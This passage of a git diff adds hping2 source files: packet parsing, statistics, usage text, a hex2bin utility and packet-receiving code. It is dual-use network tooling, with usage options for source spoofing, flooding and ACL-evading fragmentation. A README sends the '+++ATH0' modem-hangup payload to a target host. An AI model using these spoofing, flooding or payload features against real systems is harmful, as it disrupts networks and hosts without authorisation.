-ARS_OK; +} + +int ars_split_ip(struct ars_packet *pkt, void *packet, size_t size, int *state, int *len) +{ + struct ars_iphdr *ip = packet, *newip; + int flags = 0; + int ipsize = ip->ihl << 2; + + /* Check for bad header size and checksum */ + if (size < ipsize) { + flags |= ARS_SPLIT_FTRUNC; + ipsize = size; + } + else if (ars_check_ip_cksum(ip) == 0) + flags |= ARS_SPLIT_FBADCKSUM; + ipsize = MIN(ipsize, 20); + + if ((newip = ars_add_iphdr(pkt, 0)) == NULL) + return -ARS_NOMEM; + memcpy(newip, ip, ipsize); + ars_set_flags(pkt, ARS_LAST_LAYER, flags); + + *len = ipsize; + + if (flags & ARS_SPLIT_FTRUNC) { + *state = ARS_SPLIT_GET_DATA; + return -ARS_OK; + } + + if (ip->ihl > 5) { /* IP options */ + *state = ARS_SPLIT_GET_IPOPT; + pkt->aux = (ip->ihl - 5) << 2; + return -ARS_OK; + } + + switch(ip->protocol) { + case ARS_IPPROTO_IPIP: + *state = ARS_SPLIT_GET_IP; + break; + case ARS_IPPROTO_ICMP: + *state = ARS_SPLIT_GET_ICMP; + break; + case ARS_IPPROTO_TCP: + *state = ARS_SPLIT_GET_TCP; + break; + case ARS_IPPROTO_UDP: + *state = ARS_SPLIT_GET_UDP; + break; + default: + *state = ARS_SPLIT_GET_DATA; + break; + } + return -ARS_OK; +} + +int ars_split_ipopt(struct ars_packet *pkt, void *packet, size_t size, int *state, int *len) +{ + struct ars_ipopt *ipopt = packet; + int flags = 0; + int optsize; + int error; + + if (ipopt->kind == ARS_IPOPT_END || ipopt->kind == ARS_IPOPT_NOOP) + optsize = 1; + else + optsize = ipopt->len; + + /* pkt->aux was set by ars_split_ip, or by ars_split_ipopt itself */ + size = MIN(size, pkt->aux); + if (size == 0) { + *len = 0; + *state = ARS_SPLIT_GET_DATA; + return -ARS_OK; + } + + if (size < optsize) { + flags |= ARS_SPLIT_FTRUNC; + optsize = size; + } + + pkt->aux -= optsize; + error = ars_add_generic(pkt, optsize, ARS_TYPE_IPOPT); + if (error != -ARS_OK) + return error; + memcpy(pkt->p_layer[pkt->p_layer_nr].l_data, ipopt, optsize); + pkt->p_layer_nr++; + ars_set_flags(pkt, ARS_LAST_LAYER, flags); + + *len = optsize; + + if (pkt->aux > 0) + *state = ARS_SPLIT_GET_IPOPT; + else + *state = ARS_SPLIT_GET_DATA; + + return -ARS_OK; +} + +int ars_split_icmp(struct ars_packet *pkt, void *packet, size_t size, int *state, int *len) +{ + struct ars_icmphdr *icmp = packet, *newicmp; + int flags = 0; + int icmpsize = ARS_ICMPHDR_SIZE; + + /* Check for bad header size and checksum */ + if (size < icmpsize) { + flags |= ARS_SPLIT_FTRUNC; + icmpsize = size; + } + else if (ars_check_icmp_cksum(icmp, size) == 0) + flags |= ARS_SPLIT_FBADCKSUM; + + if ((newicmp = ars_add_icmphdr(pkt, 0)) == NULL) + return -ARS_NOMEM; + memcpy(newicmp, icmp, icmpsize); + ars_set_flags(pkt, ARS_LAST_LAYER, flags); + + *len = icmpsize; + + if (flags & ARS_SPLIT_FTRUNC) { + *state = ARS_SPLIT_GET_DATA; + return -ARS_OK; + } + + switch(icmp->type) { + case ARS_ICMP_ECHO: + case ARS_ICMP_ECHOREPLY: + *state = ARS_SPLIT_GET_DATA; + break; + default: + *state = ARS_SPLIT_GET_IP; + break; + } + return -ARS_OK; +} + +int ars_split_data(struct ars_packet *pkt, void *packet, size_t size, int *state, int *len) +{ + void *newdata; + + if ((newdata = ars_add_data(pkt, size)) == NULL) + return -ARS_NOMEM; + memcpy(newdata, packet, size); + + *len = size; + + *state = ARS_SPLIT_DONE; + return -ARS_OK; +} + +int ars_split_udp(struct ars_packet *pkt, void *packet, size_t size, int *state, int *len) +{ + struct ars_udphdr *udp = packet, *newudp; + int flags = 0; + int udpsize = ARS_UDPHDR_SIZE; + int error; + u_int16_t udpcksum; + + /* XXX hack, we need to add a temp unusual layer (UDP+UDP_DATA) to + * use the ars_udptcp_cksum() function. */ + + /* --- HACK START --- */ + error = ars_add_generic(pkt, size, ARS_TYPE_UDP); + if (error != -ARS_OK) + return error; + newudp = pkt->p_layer[pkt->p_layer_nr].l_data; + memcpy(newudp, udp, size); + newudp->uh_sum = 0; + error = ars_udptcp_cksum(pkt, pkt->p_layer_nr, &udpcksum); + if (error != ARS_OK) { + printf("---ERROR DOING CHECKSUM\n"); + pkt->p_layer_nr++; /* just to be sane */ + return error; + } + error = ars_remove_layer(pkt, pkt->p_layer_nr); + if (error != ARS_OK) + return error; + /* --- HACK END --- */ + + /* Check for bad header size and checksum */ + if (size < udpsize) { + flags |= ARS_SPLIT_FTRUNC; + udpsize = size; + } + else if (udp->uh_sum != udpcksum) + flags |= ARS_SPLIT_FBADCKSUM; + + if ((newudp = ars_add_udphdr(pkt, 0)) == NULL) + return -ARS_NOMEM; + memcpy(newudp, udp, udpsize); + ars_set_flags(pkt, ARS_LAST_LAYER, flags); + + *len = udpsize; + *state = ARS_SPLIT_GET_DATA; + return -ARS_OK; +} + +int ars_split_tcp(struct ars_packet *pkt, void *packet, size_t size, int *state, int *len) +{ + struct ars_tcphdr *tcp = packet, *newtcp; + int flags = 0; + int tcpsize = tcp->th_off << 2; + int error; + u_int16_t tcpcksum; + + /* XXX hack, we need to add a temp unusual layer (TCP+TCP_DATA) to + * use the ars_udptcp_cksum() function. */ + + /* --- HACK START --- */ + error = ars_add_generic(pkt, size, ARS_TYPE_TCP); + if (error != -ARS_OK) + return error; + newtcp = pkt->p_layer[pkt->p_layer_nr].l_data; + memcpy(newtcp, tcp, size); + newtcp->th_sum = 0; + error = ars_udptcp_cksum(pkt, pkt->p_layer_nr, &tcpcksum); + if (error != ARS_OK) { + pkt->p_layer_nr++; /* just to be sane */ + return error; + } + error = ars_remove_layer(pkt, pkt->p_layer_nr); + if (error != ARS_OK) + return error; + /* --- HACK END --- */ + + /* Check for bad header size and checksum */ + if (size < tcpsize) { + flags |= ARS_SPLIT_FTRUNC; + tcpsize = size; + } + else if (tcp->th_sum != tcpcksum) + flags |= ARS_SPLIT_FBADCKSUM; + + tcpsize = MIN(tcpsize, 20); + + if ((newtcp = ars_add_tcphdr(pkt, 0)) == NULL) + return -ARS_NOMEM; + memcpy(newtcp, tcp, tcpsize); + ars_set_flags(pkt, ARS_LAST_LAYER, flags); + + *len = tcpsize; + if (tcp->th_off > 5) { + *state = ARS_SPLIT_GET_TCPOPT; + pkt->aux = (tcp->th_off - 5) << 2; + } else { + *state = ARS_SPLIT_GET_DATA; + } + return -ARS_OK; +} + +int ars_split_tcpopt(struct ars_packet *pkt, void *packet, size_t size, int *state, int *len) +{ + struct ars_tcpopt *tcpopt = packet; + int flags = 0; + int optsize; + int error; + + if (tcpopt->kind == ARS_TCPOPT_EOL || tcpopt->kind == ARS_TCPOPT_NOP) + optsize = 1; + else + optsize = tcpopt->len; + + /* pkt->aux was set by ars_split_tcp, or by ars_split_tcpopt itself */ + size = MIN(size, pkt->aux); + if (size == 0) { + *len = 0; + *state = ARS_SPLIT_GET_DATA; + return -ARS_OK; + } + + if (size < optsize) { + flags |= ARS_SPLIT_FTRUNC; + optsize = size; + } + + pkt->aux -= optsize; + error = ars_add_generic(pkt, optsize, ARS_TYPE_TCPOPT); + if (error != -ARS_OK) + return error; + memcpy(pkt->p_layer[pkt->p_layer_nr].l_data, tcpopt, optsize); + pkt->p_layer_nr++; + ars_set_flags(pkt, ARS_LAST_LAYER, flags); + + *len = optsize; + + if (pkt->aux > 0) + *state = ARS_SPLIT_GET_TCPOPT; + else + *state = ARS_SPLIT_GET_DATA; + + return -ARS_OK; +} diff --git a/statistics.c b/statistics.c new file mode 100644 index 0000000..b715960 --- /dev/null +++ b/statistics.c @@ -0,0 +1,57 @@ +/* + * $smu-mark$ + * $name: statistics.c$ + * $author: Salvatore Sanfilippo $ + * $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$ + * $license: This software is under GPL version 2 of license$ + * $date: Fri Nov 5 11:55:50 MET 1999$ + * $rev: 8$ + */ + +#include +#include +#include + +#include "hping2.h" +#include "globals.h" + +void print_statistics(int signal_id) +{ + unsigned int lossrate; + +#if (defined OSTYPE_LINUX) && (!defined FORCE_LIBPCAP) + close_sockpacket(sockpacket); +#else + close_pcap(); +#endif /* OSTYPE_LINUX && !FORCE_LIBPCAP */ + + if (recv_pkt > 0) + lossrate = 100 - ((recv_pkt*100)/sent_pkt); + else + if (!sent_pkt) + lossrate = 0; + else + lossrate = 100; + + fprintf(stderr, "\n--- %s hping statistic ---\n", targetname); + fprintf(stderr, "%d packets transmitted, %d packets received, " + "%d%% packet loss\n", sent_pkt, recv_pkt, lossrate); + if (out_of_sequence_pkt) + fprintf(stderr, "%d out of sequence packets received\n", + out_of_sequence_pkt); + fprintf(stderr, "round-trip min/avg/max = %.1f/%.1f/%.1f ms\n", + rtt_min, rtt_avg, rtt_max); + + /* manage exit code */ + if (opt_tcpexitcode) + { + exit(tcp_exitcode); + } + else + { + if (recv_pkt) + exit(0); + else + exit(1); + } +}; diff --git a/strlcpy.c b/strlcpy.c new file mode 100644 index 0000000..e520208 --- /dev/null +++ b/strlcpy.c @@ -0,0 +1,82 @@ +/* + * $smu-mark$ + * $name: strLcpy.c$ + * $author: Nicolas Jombart $ + * $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$ + * *copyright: (c) 1998 Todd C. Miller $ + * $license: This software is under GPL version 2 of license$ + * $date: Wed Feb 13 17:02:32 CET 2002$ + * $rev:$ + */ + +/* $OpenBSD: strlcpy.c,v 1.4 1999/05/01 18:56:41 millert Exp $ */ + +/* + * Copyright (c) 1998 Todd C. Miller + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. The name of the author may not be used to endorse or promote products + * derived from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, + * INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY + * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL + * THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, + * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, + * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; + * OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, + * WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR + * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF + * ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +/* $Id: strlcpy.c,v 1.5 2003/07/28 09:00:55 njombart Exp $ */ + +/* This function comes from BSD */ +#if !defined(__FreeBSD__) && !defined(__OpenBSD__) && !defined(__NetBSD__) && \ + !defined(__bsdi__) && !defined(__APPLE__) +#include +#include + +/* + * Copy src to string dst of size siz. At most siz-1 characters + * will be copied. Always NUL terminates (unless siz == 0). + * Returns strlen(src); if retval >= siz, truncation occurred. + */ +size_t strlcpy(dst, src, siz) + char *dst; + const char *src; + size_t siz; +{ + register char *d = dst; + register const char *s = src; + register size_t n = siz; + + /* Copy as many bytes as will fit */ + if (n != 0 && --n != 0) { + do { + if ((*d++ = *s++) == 0) + break; + } while (--n != 0); + } + + /* Not enough room in dst, add NUL and traverse rest of src */ + if (n == 0) { + if (siz != 0) + *d = '\0'; /* NUL-terminate dst */ + while (*s++) + ; + } + + return(s - src - 1); /* count does not include NUL */ +} + +#endif /* ! __*BSD__ */ diff --git a/systype.h b/systype.h new file mode 100644 index 0000000..d8bb004 --- /dev/null +++ b/systype.h @@ -0,0 +1,6 @@ +#ifndef __SYSTYPE_H +#define __SYSTYPE_H + +#define OSTYPE_LINUX + +#endif /* SYSTYPE_H */ diff --git a/usage.c b/usage.c new file mode 100644 index 0000000..7da93ba --- /dev/null +++ b/usage.c @@ -0,0 +1,151 @@ +/* + * $smu-mark$ + * $name: usage.c$ + * $author: Salvatore Sanfilippo $ + * $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$ + * $license: This software is under GPL version 2 of license$ + * $date: Fri Nov 5 11:55:50 MET 1999$ + * $rev: 8$ + */ + +/* $Id: usage.c,v 1.13 2003/08/07 23:55:55 antirez Exp $ */ + +#include +#include +#include + +void show_usage(void) +{ + printf( +"usage: hping host [options]\n" +" -h --help show this help\n" +" -v --version show version\n" +" -c --count packet count\n" +" -i --interval wait (uX for X microseconds, for example -i u1000)\n" +" --fast alias for -i u10000 (10 packets for second)\n" +" --flood sent packets as fast as possible. Don't show replies.\n" +" -n --numeric numeric output\n" +" -q --quiet quiet\n" +" -I --interface interface name (otherwise default routing interface)\n" +" -V --verbose verbose mode\n" +" -D --debug debugging info\n" +" -z --bind bind ctrl+z to ttl (default to dst port)\n" +" -Z --unbind unbind ctrl+z\n" +"Mode\n" +" default mode TCP\n" +" -0 --rawip RAW IP mode\n" +" -1 --icmp ICMP mode\n" +" -2 --udp UDP mode\n" +" -6 --ipv6 IPv6 mode\n" +" -8 --scan SCAN mode.\n" +" Example: hping --scan 1-30,70-90 -S www.target.host\n" +" -9 --listen listen mode\n" +"IP\n" +" -a --spoof spoof source address\n" +" --rand-dest random destionation address mode. see the man.\n" +" --rand-source random source address mode. see the man.\n" +" -t --ttl ttl (default 64)\n" +" -N --id id (default random)\n" +" -W --winid use win* id byte ordering\n" +" -r --rel relativize id field (to estimate host traffic)\n" +" -f --frag split packets in more frag. (may pass weak acl)\n" +" -x --morefrag set more fragments flag\n" +" -y --dontfrag set dont fragment flag\n" +" -g --fragoff set the fragment offset\n" +" -m --mtu set virtual mtu, implies --frag if packet size > mtu\n" +" -o --tos type of service (default 0x00), try --tos help\n" +" -G --rroute includes RECORD_ROUTE option and display the route buffer\n" +" --lsrr loose source routing and record route\n" +" --ssrr strict source routing and record route\n" +" -H --ipproto set the IP protocol field, only in RAW IP mode\n" +"ICMP\n" +" -C --icmptype icmp type (default echo request)\n" +" -K --icmpcode icmp code (default 0)\n" +" --force-icmp send all icmp types (default send only supported types)\n" +" --icmp-gw set gateway address for ICMP redirect (default 0.0.0.0)\n" +" --icmp-ts Alias for --icmp --icmptype 13 (ICMP timestamp)\n" +" --icmp-addr Alias for --icmp --icmptype 17 (ICMP address subnet mask)\n" +" --icmp-help display help for others icmp options\n" +"UDP/TCP\n" +" -s --baseport base source port (default random)\n" +" -p --destport [+][+] destination port(default 0) ctrl+z inc/dec\n" +" -k --keep keep still source port\n" +" -w --win winsize (default 64)\n" +" -O --tcpoff set fake tcp data offset (instead of tcphdrlen / 4)\n" +" -Q --seqnum shows only tcp sequence number\n" +" -b --badcksum (try to) send packets with a bad IP checksum\n" +" many systems will fix the IP checksum sending the packet\n" +" so you'll get bad UDP/TCP checksum instead.\n" +" -M --setseq set TCP sequence number\n" +" -L --setack set TCP ack\n" +" -F --fin set FIN flag\n" +" -S --syn set SYN flag\n" +" -R --rst set RST flag\n" +" -P --push set PUSH flag\n" +" -A --ack set ACK flag\n" +" -U --urg set URG flag\n" +" -X --xmas set X unused flag (0x40)\n" +" -Y --ymas set Y unused flag (0x80)\n" +" --tcpexitcode use last tcp->th_flags as exit code\n" +" --tcp-timestamp enable the TCP timestamp option to guess the HZ/uptime\n" +"Common\n" +" -d --data data size (default is 0)\n" +" -E --file data from file\n" +" -e --sign add 'signature'\n" +" -j --dump dump packets in hex\n" +" -J --print dump printable characters\n" +" -B --safe enable 'safe' protocol\n" +" -u --end tell you when --file reached EOF and prevent rewind\n" +" -T --traceroute traceroute mode (implies --bind and --ttl 1)\n" +" --tr-stop Exit when receive the first not ICMP in traceroute mode\n" +" --tr-keep-ttl Keep the source TTL fixed, useful to monitor just one hop\n" +" --tr-no-rtt Don't calculate/show RTT information in traceroute mode\n" +"ARS packet description (new, unstable)\n" +" --apd-send Send the packet described with APD (see docs/APD.txt)\n" + ); + exit(0); +}; + +void tos_help(void) +{ + printf( +"tos help:\n" +" TOS Name Hex Value Typical Uses\n" +"\n" +" Minimum Delay 10 ftp, telnet\n" +" Maximum Throughput 08 ftp-data\n" +" Maximum Reliability 04 snmp\n" +" Minimum Cost 02 nntp\n" + ); + exit(0); +} + +void icmp_help(void) +{ + printf( +"ICMP help:\n" +" ICMP concerned packet options:\n" +" --icmp-ipver set ip version ( default 4 )\n" +" --icmp-iphlen set ip header lenght ( default IPHDR_SIZE >> 2)\n" +" --icmp-iplen set ip total lengtht ( default real lenght )\n" +" --icmp-ipid set ip id ( default random )\n" +" --icmp-ipproto set ip protocol ( default IPPROTO_TCP )\n" +" --icmp-ipsrc set ip source ( default 0.0.0.0 )\n" +" --icmp-ipdst set ip destination ( default 0.0.0.0 )\n" +" --icmp-srcport set tcp/udp source port ( default random )\n" +" --icmp-dstport set tcp/udp destination port ( default random )\n" +" --icmp-cksum set icmp checksum ( default the right cksum)\n" + ); + exit(0); +} + +void route_help(void) +{ + printf( +"route help:\n" +" A route has the following format: [ptr:]IP1[/IP2[/IP3...]]\n" +" where ptr is the exact value of the pointer that will be used for the IP\n" +" option (be careful, no check is performed on this pointer), and defaults\n" +" to 8, or 4 if provided route is too short for 8;\n" +" and each IPx field is an IP address to include in the source route.\n"); +} diff --git a/utils/Makefile b/utils/Makefile new file mode 100644 index 0000000..bdb2504 --- /dev/null +++ b/utils/Makefile @@ -0,0 +1,10 @@ +CC=gcc +CCOPT=-Wall + +all: hex2bin + +hex2bin: hex2bin.c + $(CC) $(CCOPT) -o hex2bin hex2bin.c + +clean: + rm -f hex2bin diff --git a/utils/README.HEX2BIN b/utils/README.HEX2BIN new file mode 100644 index 0000000..ff4d869 --- /dev/null +++ b/utils/README.HEX2BIN @@ -0,0 +1,20 @@ +hex2bin is an utility to convert a string in hexadecimal format like +"2b2b2b415448300d" (an example to test a stupid modem vulnerability) +in the binary equivalent. For example: + +# echo -n "2b2b2b415448300d" | ./hex2bin > modem.string + +# cat modem.string ++++ATH0 + +# ls -l modem.string +-rw-r--r-- 1 antirez users 8 Nov 17 16:01 modem.string + +# hping2 --file ./modem.string -d 8 --icmp target.host.org + +using switch '-r' hex2bin perform exactly the inverse operation. +for example: + +echo "antirez" | ./hex2bin -r + +616e746972657a0a diff --git a/utils/hex2bin.c b/utils/hex2bin.c new file mode 100644 index 0000000..876415a --- /dev/null +++ b/utils/hex2bin.c @@ -0,0 +1,63 @@ +/* + * hex2bin - simple hex to bin filter + * antirez@invece.org - under GPL version 2 + */ + +#include +#include +#include +#include +#include +#include + +int hex2bin(void) +{ + char hex[3]; + int d = 0; + unsigned char c; + int stdin_fd = fileno(stdin); + int n_read; + + while((n_read = read(stdin_fd, hex, 2)) > 0) + { + if (n_read == 1) + { + if (hex[0] != '\n') + { + fprintf(stderr, + "input parse error, odd digits in hex file\n"); + exit(1); + } + else + exit(1); + } + hex[2] = '\0'; + sscanf(hex, "%x", &d); + c = (unsigned char) d; + printf("%c", c); + } + return 0; +} + +int bin2hex(void) +{ + int stdin_fd = fileno(stdin); + int n_read; + unsigned char c; + + while((n_read = read(stdin_fd, &c, 1)) > 0) + { + printf("%.2x", c); + } + return 0; +} + +int main(int argc, char **argv) +{ + if (argc >= 2 && strstr(argv[1], "-r")) + bin2hex(); + else + hex2bin(); + + return 0; +} diff --git a/version.c b/version.c new file mode 100644 index 0000000..01459ec --- /dev/null +++ b/version.c @@ -0,0 +1,28 @@ +/* + * $smu-mark$ + * $name: version.c$ + * $author: Salvatore Sanfilippo $ + * $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$ + * $license: This software is under GPL version 2 of license$ + * $date: Fri Nov 5 11:55:50 MET 1999$ + * $rev: 8$ + */ + +#include +#include +#include + +#include "release.h" +#include "hping2.h" + +void show_version(void) +{ + printf("hping version %s (%s)\n", RELEASE_VERSION, RELEASE_DATE); +#if (!defined OSTYPE_LINUX) || (defined FORCE_LIBPCAP) + printf("libpcap based binary\n"); +#else + printf("linux sockpacket based binary\n"); +#endif /* !OSTYPE_LINUX || FORCE_LIBPCAP */ + exit(0); +} + diff --git a/waitpacket.c b/waitpacket.c new file mode 100644 index 0000000..1eb0b9a --- /dev/null +++ b/waitpacket.c @@ -0,0 +1,849 @@ +/* waitpacket.c -- handle and print the incoming packet + * Copyright(C) 1999-2001 Salvatore Sanfilippo + * Under GPL, see the COPYING file for more information about + * the license. */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "hping2.h" +#include "globals.h" + +static int icmp_unreach_rtt(void *quoted_ip, int size, + int *seqp, float *ms_delay); +static void print_tcp_timestamp(void *tcp, int tcpsize); +static int recv_icmp(void *packet, size_t size); +static int recv_udp(void *packet, size_t size); +static int recv_tcp(void *packet, size_t size); +static void hex_dump(void *packet, int size); +static void human_dump(void *packet, int size); +static void handle_hcmp(char *packet, int size); + +static struct myiphdr *ip; +static struct myip6hdr *ip6; +static int ip_size; +static struct in_addr src, dst; +static struct in6_addr src6, dst6; + +static int handle_ipv4(char *ip_packet, int ip_size); +static int handle_ipv6(char *ip_packet, int ip_size); +static int icmp6_unreach_rtt(void *quoted_ip, int size, int *seqp, float *ms_delay); +static int icmp_unreach_rtt(void *quoted_ip, int size, int *seqp, float *ms_delay); + +static int notrace; + +void wait_packet(void) +{ + int match = 0; + int size; + char packet [IP_MAX_SIZE+linkhdr_size]; + char *ip_packet; + + size = read_packet(packet, IP_MAX_SIZE+linkhdr_size); + switch(size) { + case 0: + return; + case -1: + exit(1); + } + + /* Check if the packet is shorter than the link header size */ + if (size < linkhdr_size) { + if (opt_debug) + printf("DEBUG: WARNING: packet size(%i) < linkhdr_size(%i)\n", + size, linkhdr_size); + return; + } + + /* IP packet pointer and len */ + ip_packet = packet + linkhdr_size; + ip_size = size - linkhdr_size; + + /* Truncated IP header? */ + if ((!opt_ipv6 && ip_size < IPHDR_SIZE) || + (opt_ipv6 && ip_size < IP6HDR_SIZE)) { + if (opt_debug) + printf("[|ip fix]\n"); + return; + } + + ip = (struct myiphdr*)(packet+linkhdr_size); + if(ip->version == 4 && !opt_ipv6) + match = handle_ipv4(ip_packet, ip_size); + else if(ip->version == 6 && opt_ipv6) + { + ip6 = (struct myip6hdr*)(packet+linkhdr_size); + match = handle_ipv6(ip_packet, ip_size); + } + + if (match) + recv_pkt++; + + /* Dump the packet in hex */ + if (opt_hexdump && match && !opt_quiet) + hex_dump(ip_packet, ip_size); + + /* Dump printable characters inside the packet */ + if (opt_contdump && match && !opt_quiet) + human_dump(ip_packet, ip_size); + + /* Display IP options */ + if (match && opt_rroute && !opt_quiet && !opt_ipv6) + display_ipopt(ip_packet); + + /* --tr-stop stops hping in traceroute mode when the + * first not ICMP time exceeded packet is received */ + if (opt_traceroute && opt_tr_stop && notrace) + print_statistics(0); + + /* if the count was reached exit now */ + if (count != -1 && count == recv_pkt) + print_statistics(0); +} + +static int +handle_ipv4(char *ip_packet, int ip_size) +{ + int iphdr_size, enc_size; + char *enc_packet; + + iphdr_size = ip->ihl * 4; + + /* Bad IP header len? */ + if (iphdr_size > ip_size) { + if (opt_debug) + printf("[|iphdr size]\n"); + return 0; + } + + /* Handle the HCMP for almost safe file transfer with hping */ + if (opt_sign) + handle_hcmp(ip_packet, ip_size); + + /* Check if the dest IP address is the one of our interface */ + if (memcmp(&ip->daddr, &ADDR4(&local), sizeof(ip->daddr))) + return 0; + /* If the packet isn't an ICMP error it should come from + * our target IP addresss. We accept packets from all the + * source if the random destination option is active */ + if (ip->protocol != IPPROTO_ICMP && !opt_rand_dest) { + if (memcmp(&ip->saddr, &ADDR4(&remote), sizeof(ip->saddr))) + return 0; + } + + /* Get the encapsulated protocol offset and size */ + enc_packet = ip_packet + iphdr_size; + enc_size = ip_size - iphdr_size; + + /* Put the IP source and dest addresses in a struct in_addr */ + memcpy(&src, &(ip->saddr), sizeof(struct in_addr)); + memcpy(&dst, &(ip->daddr), sizeof(struct in_addr)); + + switch(ip->protocol) { + case IPPROTO_ICMP: + return recv_icmp(enc_packet, enc_size); + break; + case IPPROTO_UDP: + return recv_udp(enc_packet, enc_size); + break; + case IPPROTO_TCP: + return recv_tcp(enc_packet, enc_size); + break; + default: + return 0; + } + +} + +static int +handle_ipv6(char *ip_packet, int ip_size) +{ + int enc_size; + char *enc_packet; + + /* Check if the dest IP address is the one of our interface */ + if (memcmp(ip6->daddr, &ADDR6(&local), 16)) + return 0; + /* If the packet isn't an ICMP error it should come from + * our target IP addresss. We accept packets from all the + * source if the random destination option is active */ + if (ip6->nextheader != 58 && !opt_rand_dest) { + if (memcmp(ip6->saddr, &ADDR6(&remote), 16)) + return 0; + } + + /* Get the encapsulated protocol offset and size */ + enc_packet = ip_packet + sizeof(*ip6); + enc_size = ip_size - sizeof(*ip6); + + /* Put the IP source and dest addresses in a struct in_addr */ + memcpy(&src6, ip6->saddr, sizeof(struct in6_addr)); + memcpy(&dst6, ip6->daddr, sizeof(struct in6_addr)); + + switch(ip6->nextheader) { + case 58: + return recv_icmp6(enc_packet, enc_size); + break; + case IPPROTO_UDP: + return recv_udp(enc_packet, enc_size); + break; + case IPPROTO_TCP: + return recv_tcp(enc_packet, enc_size); + break; + default: + printf("xx %i\n", ip6->nextheader); + } + return 0; +} + +static void +log_ipv4(int status, int sequence) +{ + int rel_id, ip_id; + + /* get ip->id */ + if (opt_winid_order) + ip_id = ip->id; + else + ip_id = htons(ip->id); + + if (opt_relid) + rel_id = relativize_id(sequence, &ip_id); + else + rel_id = 0; + printf("len=%d ip=%s ttl=%d %sid%s%d ", ip_size, inet_ntoa(src), + ip->ttl, + (ntohs(ip->frag_off) ? "DF " : ""), + (rel_id ? "=+" : "="), ip_id); + if (opt_verbose && !opt_quiet) + printf("tos=%x iplen=%u\n", ip->tos, htons(ip->tot_len)); +} + +static void +log_ipv6(int status, int sequence) +{ + char tmp[1024]; + + printf("len=%d ip=%s ttl=%d ", ip_size, inet_ntop(opt_af, &src6, tmp, sizeof(tmp)), + ip6->hoplimit); + if (opt_verbose && !opt_quiet) + printf("tc=%x flowlabel=%u\n", (ip6->tc1 << 4) | ip6->tc2, (ip6->flowlabel1 << 16) | ip6->flowlabel2); +} + +static void +log_ip(int status, int sequence) +{ + if(status == S_RECV) + printf("DUP! "); + if(ip->version == 4) + log_ipv4(status, sequence); + else + log_ipv6(status, sequence); +} + + +void log_icmp_ts(void *ts) +{ + struct icmp_tstamp_data icmp_tstamp; + + memcpy(&icmp_tstamp, ts, sizeof(icmp_tstamp)); + printf("ICMP timestamp: Originate=%u Receive=%u Transmit=%u\n", + (unsigned int) ntohl(icmp_tstamp.orig), + (unsigned int) ntohl(icmp_tstamp.recv), + (unsigned int) ntohl(icmp_tstamp.tran)); + printf("ICMP timestamp RTT tsrtt=%lu\n\n", + (long unsigned int) (get_midnight_ut_ms() + - ntohl(icmp_tstamp.orig))); +} + +void log_icmp_addr(void *addrptr) +{ + unsigned char *addr = addrptr; + printf("ICMP address mask: icmpam=%u.%u.%u.%u\n\n", + addr[0], addr[1], addr[2], addr[3]); +} + +void log_traceroute(void *packet, int size, int icmp_code) +{ + static __u8 old_src_addr[16]; + int sequence = 0, retval; + float rtt; + char tmp[1024]; + + if (!opt_ipv6 && !opt_tr_keep_ttl && !memcmp(&ip->saddr, old_src_addr, 4)) + return; + if (opt_ipv6 && !opt_tr_keep_ttl && !memcmp(&ip6->saddr, old_src_addr, 16)) + return; + + if(opt_ipv6) + retval = icmp6_unreach_rtt(packet+ICMPHDR_SIZE, size-ICMPHDR_SIZE, + &sequence, &rtt); + else + retval = icmp_unreach_rtt(packet+ICMPHDR_SIZE, size-ICMPHDR_SIZE, + &sequence, &rtt); + printf("hop=%d ", src_ttl); + fflush(stdout); + + if(!opt_ipv6) + { + memcpy(old_src_addr, &ip->saddr, sizeof(ip->saddr)); + log_icmp_timeexc(inet_ntop(opt_af, &src, tmp, sizeof(tmp)), icmp_code); + } + else + { + memcpy(old_src_addr, ip6->saddr, sizeof(ip6->saddr)); + log_icmp_timeexc(inet_ntop(opt_af, &src6, tmp, sizeof(tmp)), icmp_code); + } + if (retval != -1) + printf(" hoprtt=%.1f ms", rtt); + if (!opt_tr_keep_ttl) + src_ttl++; + putchar('\n'); +} + +int recv_icmp(void *packet, size_t size) +{ + struct myicmphdr *icmp; + struct myiphdr quoted_ip; + + /* Check if the packet can contain the ICMP header */ + if (size < ICMPHDR_SIZE) { + printf("[|icmp]\n"); + return 0; + } + icmp = (struct myicmphdr *)packet; + + /* --------------------------- * + * ICMP ECHO/TIMESTAMP/ADDRESS * + * --------------------------- */ + if ((icmp->type == ICMP_ECHOREPLY || + icmp->type == ICMP_TIMESTAMPREPLY || + icmp->type == ICMP_ADDRESSREPLY) && + icmp->un.echo.id == (getpid() & 0xffff)) + { + int icmp_seq = icmp->un.echo.sequence; + int status; + float ms_delay; + + /* obtain round trip time */ + status = rtt(&icmp_seq, 0, &ms_delay); + log_ip(status, icmp_seq); + + printf("icmp_seq=%d rtt=%.1f ms\n", icmp_seq, ms_delay); + if (icmp->type == ICMP_TIMESTAMPREPLY) { + if ((size - ICMPHDR_SIZE) >= 12) + log_icmp_ts(packet+ICMPHDR_SIZE); + else + printf("[|icmp timestamp]\n"); + } else if (icmp->type == ICMP_ADDRESSREPLY) { + if ((size - ICMPHDR_SIZE) >= 4) + 